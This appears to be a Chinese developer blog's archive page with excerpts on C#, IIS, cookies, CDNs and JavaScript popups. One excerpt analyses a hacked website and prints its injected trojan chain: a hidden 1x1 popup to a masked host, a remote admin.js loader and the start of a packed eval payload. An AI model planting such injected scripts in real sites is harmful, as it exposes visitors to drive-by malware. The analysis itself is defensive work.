C#列表所有IIS站点以及相关站点属性

using System; using System.Drawing; using System.Collections; using System.ComponentModel; using System.Windows.Forms; using System.Windows.Forms.Design; using System.DirectoryServices; using System.Reflection; using System.Text.RegularExpressions; int TotalServerCount=0; DirectoryEntry rootfolder = new DirectoryEntry("IIS://localhost/W3SVC"); //TotalServerCount=rootfolder.Children.SchemaFilter.Count; foreach (DirectoryEntry child in rootfolder.Children) { if (child.SchemaClassName == "IIsWebServer") { TotalServerCount+=1; } } //循环获取所有站点详细属性写入数组中 string [] arrayServerID = new string[TotalServerCount];//站点标识符 string [] arrayServerIP = new string[TotalServerCount];//站点主机头 string [] arrayServerPort = new string[TotalServerCount];//站点主机头 string [] arrayServerHeader = new string[TotalServerCount];//站点主机头 string [] arrayServerPath = new string[TotalServerCount];//站点主机头 string [] arrayServerComment = new string[TotalServerCount];//站点主机头 string [] arrayServerBinds = new string[TotalServerCount];//站点主机头 string currentServerBindings;//绑定主机头IP端口字符串 char[] a=":".ToCharArray(); string […]

龙生   14 May 2012
View Details

c#中Dictionary、ArrayList、Hashtable和数组的区别是什么?

C# 集合类 Array Arraylist List Hashtable Dictionary Stack Queue 1.数组是固定大小的,不能伸缩。虽然System.Array.Resize这个泛型方法可以重置数组大小, 但是该方法是重新创建新设置大小的数组,用的是旧数组的元素初始化。随后以前的数组就废弃!而集合却是可变长的 2.数组要声明元素的类型,集合类的元素类型却是object. 3.数组可读可写不能声明只读数组。集合类可以提供ReadOnly方法以只读方式使用集合。 4.数组要有整数下标才能访问特定的元素,然而很多时候这样的下标并不是很有用。集合也是数据列表却不使用下标访问。 很多时候集合有定制的下标类型,对于队列和栈根本就不支持下标访问! //数组 int[] intArray1; //初始化已声明的一维数组 intArray1 = new int[3]; intArray1 = new int[3]{1,2,3}; intArray1 = new int[]{1,2,3}; //ArrayList类对象被设计成为一个动态数组类型,其容量会随着需要而适当的扩充 方法 1:Add()向数组中添加一个元素, 2:Remove()删除数组中的一个元素 3:RemoveAt(int i)删除数组中索引值为i的元素 4:Reverse()反转数组的元素 5:Sort()以从小到大的顺序排列数组的元素 6:Clone()复制一个数组 //List 可通过索引访问的对象的强类型列表。提供用于对列表进行搜索、排序和操作的方法 在决定使用 List 还是使用 ArrayList 类(两者具有类似的功能)时,记住 List 类在大多数情况下执行得更好并且是类型安全的。如果对 List 类的类型 T 使用引用类型,则 两个类的行为是完全相同的。但是,如果对类型 T 使用值类型,则需要考虑实现和装箱问题。 如果对类型 T 使用值类型,则编译器将特别针对该值类型生成 List 类的实现。这意味着不必对 List 对象的列表元素进行装箱就可以使用该元素,并且在创建大约 500 个列表 元素之后,不对列表元素装箱所节省的内存将大于生成该类实现所使用的内存。 //Dictionary 表示键和值的集合。Dictionary遍历输出的顺序,就是加入的顺序,这点与Hashtable不同 //SortedList类 与哈希表类似,区别在于SortedList中的Key数组排好序的 //Hashtable类 哈希表,名-值对。类似于字典(比数组更强大)。哈希表是经过优化的,访问下标的对象先散列过。如果以任意类型键值访问其中元素会快于其他集合。 GetHashCode()方法返回一个int型数据,使用这个键的值生成该int型数据。哈希表获取这个值最后返回一个索引,表示带有给定散列的数据项在字典中存储的位置。 //Stack类 栈,后进先出。push方法入栈,pop方法出栈。 Queue类 队列,先进先出。enqueue方法入队列,dequeue方法出队列。 ————————————————————- //Dictionary System.Collections.DictionaryEntry dic=new System.Collections.DictionaryEntry("key1","value1"); Dictionary<int, string> fruit = new Dictionary<int, […]

龙生   14 May 2012
View Details

C#中ToString格式大全

C 货币2.5.ToString("C")¥2.50 D 十进制数25.ToString("D5")00025E 科学型25000.ToString("E")2.500000E+005F 固定点25.ToString("F2")25.00G 常规2.5.ToString("G")2.5 N 数字2500000.ToString("N")2,500,000.00X 十六进制255.ToString("X")FF formatCode 是可选的格式化代码字符串。(详细内容请搜索“格式化字符串”查看) 必须用“{”和“}”将格式与其他字符分开。如果恰好在格式中也要使用大括号,可以用连续的两个大括号表示一个大括号,即: “{{”或者“}}”。常用格式举例:(1) int i=12345;this.textBox1.Text=i.ToString();//结果 12345(this指当前对象,或叫当前类的实例)this.textBox2.Text=i.ToString("d8");//结果 00012345(2) int i=123;double j=123.45;string s1=string.Format("the value is {0,7}",i);string s2=string.Format("the value is {0,73}",j);this.textBox1.Text=s1 ;//结果 the value is 123this.textBox2.Text=s2;//结果 the value is 123.450(3)double i=12345.6789;this.textBox1.Text=i.ToString("f2"); //结果 12345.68this.textBox2.Text=i.ToString("f6");//结果 12345.678900(4)double i=12345.6789;this.textBox1.Text=i.ToString("n"); //结果 12,345.68this.textBox2.Text=i.ToString(“n4”); //结果 12,345.6789(5)double i=0.126;string s=string.Format("the value is {0:p}",i);this.textBox1.Text=i.ToString("p"); //结果 12.6%this.textBox2.Text=s; //结果 the value is 12.6%(6) DateTime dt =new DateTime(2003,5,25);this.textBox1.Text=dt.ToString("yy.M.d");//结果 03.5.25this.textBox2.Text=dt.ToString(“yyyy年M月”);//结果 2003年5月Convert.ToDateTime("2005/12/22 22:22:22").ToString("yyyy/MM/dd HHss")"2005/12/22 22:22:22"(7) int i=123;double j=123.45;string s=string.Format("i:{0,-7},j:{1,7}",i,j);//-7表示左对齐,占7位this.textBox1.Text=s ;//结果i:123 ,j: 123.45 DateTime.ToString()用法详解我们经常会遇到对时间进行转换,达到不同的显示效果,默认格式为:2006-6-6 14:33:34 如果要换成成200606,06-2006,2006-6-6或更多的格式该怎么办呢?这里将要用到DateTime.ToString的方法(String, IFormatProvider)示例:using System;using System.Globalization;String format="D";DateTime date=DataTime.Now;Response.Write(date.ToString(format, DateTimeFormatInfo.InvariantInfo));结果输出Thursday, June 16, 2006在这里列出了参数format格式详细用法=======================格式字符 关联属性/说明 […]

龙生   14 May 2012
View Details

使用Flash和C# WinForm配合打造界面漂亮的应用程序

由于之前一阵公司一个项目提出的需求,自己也想进行这方面的尝试,我对如何使用 Flash 来做 WinForm 程序的界面产生了兴趣,于是学习了一些资料,摘要于此。 要在 WinForm 中使用 Flash,通常需要用到 Shockwave Flash Object 这个 COM 组件。 具体步骤如下: 首先添加对 COM 组件 Shockwave Flash Object 的引用,将该组件拖到窗体上之后,可以设置如下关键属性: Movie: Flash 的存放地址 EmbedMovie: 是否嵌入到程序的资源中。 接下来你可以设置其他一些属性,使得 Flash 的窗口最大化,隐藏掉其宿主程序的 C# WinForm 窗体。 在 Flash 的 ActionScript 中,可以通过 FSCommand 函数与 hosting app 通信,该函数有两个参数,分别是: command: 命令名称 parameters: 参数 例子: on(press){ fscommand("Circule", "Green"); } 在 C# 中,处理 Flash 对象的 FSCommand 事件即可。 如果该事件处理函数的 EventArgs 为 e, 则有如下对应关系: e.command -> Flash 中调用 FSCommand 时的 command 参数; e.args -> Flash 中调用 FSCommand 时的 arguments 参数。 在 C# 中往 Flash 传递数值用 SetVariable 方法: […]

龙生   14 May 2012
View Details

以毒攻毒,直捣“毒窟”

一,、陷入毒窝 我们在Google中搜索资料的时候,经常会看到这样的搜索结果“该网站可能含有恶意软件,有可能会危害您的电脑。”或者“继续访问 http://www.*.com,但风险自担。”这是Google以自己的方式对网页安全性分析的结果。我们没有理由怀疑Google的技术,这是它在以自己的方式告诉我们“这是个毒窝”。以“不入虎穴,焉得虎子”的英勇,我们就去探探虎穴。 测试环境说明:一安装有Windows XP的虚拟机,没有打补丁包,没有安装杀毒软件和防火墙。 1.探毒 第一步:下载网页(为了不至于“出师未捷,而光荣牺牲。”我先把挂马的网页下载下来。看看到底用了什么网马,怎么挂的?)用迅雷很快地把挂了马的网页下载下来。 第二步:分析网页代码 用记事本打开网页查看源代码,通过分析,发现挂马者在该网站的首页的开头和尾部都加入了如下的代码: <SCRIPT language=javascript> window.open ("http://www.*.com/1.htm","","toolbar=no,location=no,directories=no,status=no,menubar=no,scro llbars=no,width=1,height=1"); </script> 这是一个用javascript脚本木马的代码,其中的http://www.*.com/1.htm应该是网页木马的地址。 第三步:继续用迅雷下载http://www.*.com/1.htm,用记事本打开,代码如下: <script language=javascript src="http://my.*.com/admin.js>"; </script> 这是一个木马脚本,通过脚本调用了一个js文件。第四步:用迅雷下载admin.js文件,用记事本打开,部分代码如下: eval(function(p,a,c,k,e,d){e=function(c){return(c http://net.zdnet.com.cn/network_security_zone/2007/1225/690486.shtml

龙生   14 May 2012
View Details

短域名在IE中无法设置子域名COOKIE的BUG

对于域名投资者来说,当然是越短越好,然而对于IE来说,小于3位的域名就无法设置子域名COOKIE了。最近就碰到这个BUG了,一直想不通IE为什么会出这种BUG,对于其他浏览器来说一点问题都没。假设2台服务器如下:127.0.0.1 www.6.cn127.0.0.1 bbs.6.cn在www.6.cn这台服务器上有个aa.php文件,源文件如下: < ?phpsetcookie("aa", "bb", time()+3600, "/", ".6.cn");echo '<pre>';print_r($_COOKIE);?> 在bbs.6.cn这台服务器上有个bb.php文件,源文件如下: < ?phpecho '<pre>';print_r($_COOKIE);?> 这2个程序的作用就是能使子域名共享COOKIE,结果却因为这个域名小于3位,瞎忙活了1天,如果域名换成3位或3位以上,就一点问题都没,比如把6.cn换成123.cn就很正常。暂时还没有找到解决办法,先留个帖子,看看以后是否有时间解决。参考资料:http://curl.haxx.se/rfc/cookie_spec.html 

龙生   14 May 2012
View Details

顶级域名后缀列表

国际域名 .com:商业机构,任何人都可以注册; .edu:教育机构; .gov:政府部门; .int:国际组织; .mil:美国军事部门; .net:网络组织,例如因特网服务商和维修商,现在任何人都可以注册; .org:非盈利组织,任何人都可以注册; .biz:商业; .info:网络信息服务组织; .pro:用于会计、律师和医生。; .name:用于个人; .museum:用于博物馆; .coop:用于商业合作团体; .aero:用于航空工业; .xxx:用于成人、色情网站; .idv:用于个人 国家域名 (按国家地区名称汉语拼音排列) Aㄚㄞㄠ – Bㄅ – Cㄘㄔ – Dㄉ – Eㄜ – Fㄈ – Gㄍ – Hㄏ – I – Jㄐ – Kㄎ – Lㄌ – Mㄇ – Nㄋ – Oㄡ – Pㄆ – Q – Rㄖ – Sㄙㄕ – Tㄊ – U – V – Wㄨ – Xㄒ – Yㄧㄩ – Zㄗㄓ A 阿尔巴尼亚 .al 阿尔及利亚 .dz 阿富汗 .af 阿根廷 .ar 阿拉伯联合酋长国 .ae 阿鲁巴 .aw 阿曼 .om 阿塞拜疆 .az 埃及 […]

龙生   14 May 2012
View Details

CDN

CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输的更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。   内容分发网络(CDN)是一种新型网络构建方式,它是为能在传统的IP网发布宽带丰富媒体而特别优化的网络覆盖层;而从广义的角度,CDN代表了一种基于质量与秩序的网络服务模式。   简单地说,内容分发网络(CDN)是一个经策略性部署的整体系统,包括分布式存储、负载均衡、网络请求的重定向和内容管理4个要件,而内容管理和全局的网络流量管理(Traffic Management)是CDN的核心所在。通过用户就近性和服务器负载的判断,CDN确保内容以一种极为高效的方式为用户的请求提供服务。   总的来说,内容服务基于缓存服务器,也称作代理缓存(Surrogate),它位于网络的边缘,距用户仅有"一跳"(Single Hop)之遥。同时,代理缓存是内容提供商源服务器(通常位于CDN服务提供商的数据中心)的一个透明镜像。这样的架构使得CDN服务提供商能够代表他们客户,即内容供应商,向最终用户提供尽可能好的体验,而这些用户是不能容忍请求响应时间有任何延迟的。    cdn应用  首先简单表述一下传统的动态系统的访问方法:   如右图示(一)表述的是用户的请求过程,用户经过网络中的路由A、B的传输,最终将发送的请求交于动态系统来处理,但是由于IP网络本身的“尽力而为的原则”、网络链路中复杂的环境及硬件的不可靠性的确实存在,致使用户要出现重复发送的请求的现状,所以最终导致用户的请求在提交的过程中出现等待、数据加载时间过长的一些现象的普遍存在,这些在线提交式系统的缓慢直接地影响到办公人员的工作效率,这也是制约着很多大型企业在协同办公OA、ERP、SAP等信息化建设中,出现最多的问题。   而CDN分发解决方案解决了与静态网站相关的性能和可靠性问题,而在当今在线业务体验中,与分发静态和动态元素和应用相关的独特挑战,则由速网 的动态网站加速(动态网站加速)来解决。编辑本段主要特点1、本地Cache加速 提高了企业站点(尤其含有大量图片和静态页面站点)的访问速度,并大大提高以上性质站点的稳定性   2、镜像服务 消除了不同运营商之间互联的瓶颈造成的影响,实现了跨运营商的网络加速,保证不同网络中的用户都能得到良好的访问质量。   3、远程加速 远程访问用户根据DNS负载均衡技术智能自动选择Cache服务器,选择最快的Cache服务器,加快远程访问的速度   4、带宽优化 自动生成服务器的远程Mirror(镜像)cache服务器,远程用户访问时从cache服务器上读取数据,减少远程访问的带宽、分担网络流量、减轻原站点WEB服务器负载等功能。   5、集群抗攻击 广泛分布的CDN节点加上节点之间的智能冗余机制,可以有效地预防黑客入侵以及降低各种D.D.o.S攻击对网站的影响,同时保证较好的服务质量 。编辑本段关键技术(1)内容发布:它借助于建立索引、缓存、流分裂、组播(Multicast)等技术,将内容发布或投递到距离用户最近的远程服务点(POP)处;   (2)内容路由:它是整体性的网络负载均衡技术,通过内容路由器中的重定向(DNS)机制,在多个远程POP上均衡用户的请求,以使用户请求得到最近内容源的响应;   (3)内容交换:它根据内容的可用性、服务器的可用性以及用户的背景,在POP的缓存服务器上,利用应用层交换、流分裂、重定向(ICP、WCCP)等技术,智能地平衡负载流量;   (4)性能管理:它通过内部和外部监控系统,获取网络部件的状况信息,测量内容发布的端到端性能(如包丢失、延时、平均带宽、启动时间、帧速率等),保证网络处于最佳的运行状态。编辑本段产品优势CDN能几乎涵盖国内所有线路。而在可靠性上, CDN 在结构上实现了多点的冗余,即使某一个节点由于意外发生故障,对网站的访问能够被自动导向其他的健康节点进行响应。CDN能轻松实现网站的全国铺设,不必考虑服务器的投入与托管、不必考虑新增带宽的成本、不必考虑多台服务器的镜像同步、不必考虑更多的管理维护技术人员。国外CDN服务商 1.资金雄厚,具备技术、运营和服务实力,利于业务开展。 2.在国内开始建设节点,利于市场开拓。 1.与国内一些IDC和ISP采取代理合作的方式来销售自己的服务,难以大规模开展业务 2.非正规竞争,存在安全隐患,将域名解析权掌控在国外运营商的手里 免费自助CDN 1.CDN产品免费提供,专注于对对网站运维技术的一站式解决。 2.自助式CDN解决方案,简单易用,监控解析功能齐全。 1.现在处于起步阶段,功能和服务能力比较弱 2.对于CDN服务内容有限制,需要备案   中国市场  初期我国CDN市场发展缓慢,2006年后市场陡然升温,国内较为有名的CDN服务商有思必达、蓝汛等,但整体CDN市场规模、运营成熟度、服务能力和技术研发均较国外存在一定的差距。目前我们存在以下类型的CDN服务商:      CDN 服务商 优势 劣势 专业CDN服务商 专注核心业务发展,易扩大经营规模进入市场较早,具有成熟的运营机制和较高的服务能力。 受制于电信运营商带宽租用费用,带宽成本是刚性的,不能形成价格优势。由于电信运营商运营支撑系统的不灵活导致带宽资费设置不灵活,不能按需索取,导致CDN的价格居高不下 提供CDN服务的IDC 运营商 拥有带宽资源优势,进入市场较容易 需要添置大量的服务器、网络设备及存储设备,投资成本高 电信运营商, 1.拥有巨大的带宽和网络优势,其带宽成本是弹性的,可以配置最优的CDN服务网络资本雄厚,有实力建设规模庞大的CDN网络,拥有品牌优势,与众多互联网公司关系密切,能够引导互联网公司使用CDN服务。 2.已建成流媒体等专用CDN网络在此基础上进行升级和改造,可快速推出多种CDN业务。 1.CDN行业属于技术驱动型产业,电信运营商的CDN技术储备较薄弱。 2.互联互通问题导致运营商只能在自己的网络上做CDN业务,跨网络运营的问题较难解决 3.CDN不是电信运营商的主营业务,缺乏运营经验和服务能力。 自建CDN的互 1.节约服务成本,可控性高 2.免受CDN市场价格波动的困扰,利于成本降低 1.初期投资较大,且增加运营和研发成本 2.非核心业务,易分散对主营业务的精力 3.节点数少,不能完全满足需求 国外CDN服务商 1.资金雄厚,具备技术、运营和服务实力,利于业务开展。 2.在国内开始建设节点,利于市场开拓。 1.与国内一些IDC和ISP采取代理合作的方式来销售自己的服务,难以大规模开展业务 2.非正规竞争,存在安全隐患,将域名解析权掌控在国外运营商的手里 免费自助CDN 1.CDN产品免费提供,专注于对对网站运维技术的一站式解决。 2.自助式CDN解决方案,简单易用,监控解析功能齐全。 1.现在处于起步阶段,功能和服务能力比较弱 2.对于CDN服务内容有限制,需要备案    

龙生   14 May 2012
View Details

JS弹出窗口的运用与技巧

//关闭,父窗口弹出对话框,子窗口直接关闭 this.Response.Write("<script language=javascript>window.close();</script>"); //关闭,父窗口和子窗口都不弹出对话框,直接关闭 this.Response.Write("<script>"); this.Response.Write("{top.opener =null;top.close();}"); this.Response.Write("</script>"); //弹出窗口刷新当前页面width=200 height=200菜单。菜单栏,工具条,地址栏,状态栏全没有 this.Response.Write("<script language=javascript>window.open('rows.aspx',’newwindow',’width=200,height=200′)</script>"); //弹出窗口刷新当前页面 this.Response.Write("<script language=javascript>window.open('rows.aspx')</script>"); this.Response.Write("<script>window.open('WebForm2.aspx',’_blank');</script>"); //弹出提示窗口跳到webform2.aspx页(在一个IE窗口中) this.Response.Write(" <script language=javascript>alert('注册成功');window.window.location.href=’WebForm2.aspx';</script> "); //关闭当前子窗口,刷新父窗口 this.Response.Write("<script>window.opener.location.href=window.opener.location.href;window.close();</script>"); this.Response.Write("<script>window.opener.location.replace(window.opener.document.referrer);window.close();</script>"); //子窗口刷新父窗口 this.Response.Write("<script>window.opener.location.href=window.opener.location.href;</script>"); this.Response.Write("<script>window.opener.location.href=’WebForm1.aspx';</script>"); //弹出提示窗口.确定后弹出子窗口(WebForm2.aspx) this.Response.Write("<script language=’javascript'>alert('发表成功!');window.open('WebForm2.aspx')</script>"); //弹出提示窗口,确定后,刷新父窗口 this.Response.Write("<script>alert('发表成功!');window.opener.location.href=window.opener.location.href;</script>"); //弹出相同的一页 <INPUT type="button" value="Button" onclick="javascript:window.open(window.location.href)"> // Response.Write("parent.mainFrameBottom.location.href=’yourwebform.aspx?temp=" +str+"';"); <SCRIPT LANGUAGE="javascript"> <!-- window.open ('page.html', 'newwindow', 'height=100, width=400, top=0, left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=n o, status=no') //这句要写成一行 --> </SCRIPT> 参数解释: <SCRIPT LANGUAGE="javascript"> js脚本开始; window.open 弹出新窗口的命令; 'page.html' 弹出窗口的文件名; 'newwindow' 弹出窗口的名字(不是文件名),非必须,可用空"代替; height=100 窗口高度; width=400 窗口宽度; top=0 窗口距离屏幕上方的象素值; left=0 窗口距离屏幕左侧的象素值; toolbar=no 是否显示工具栏,yes为显示; menubar,scrollbars 表示菜单栏和滚动栏。 resizable=no 是否允许改变窗口大小,yes为允许; location=no 是否显示地址栏,yes为允许; status=no 是否显示状态栏内的信息(通常是文件已经打开),yes为允许; </SCRIPT> […]

龙生   14 May 2012
View Details
1 403 404 405 432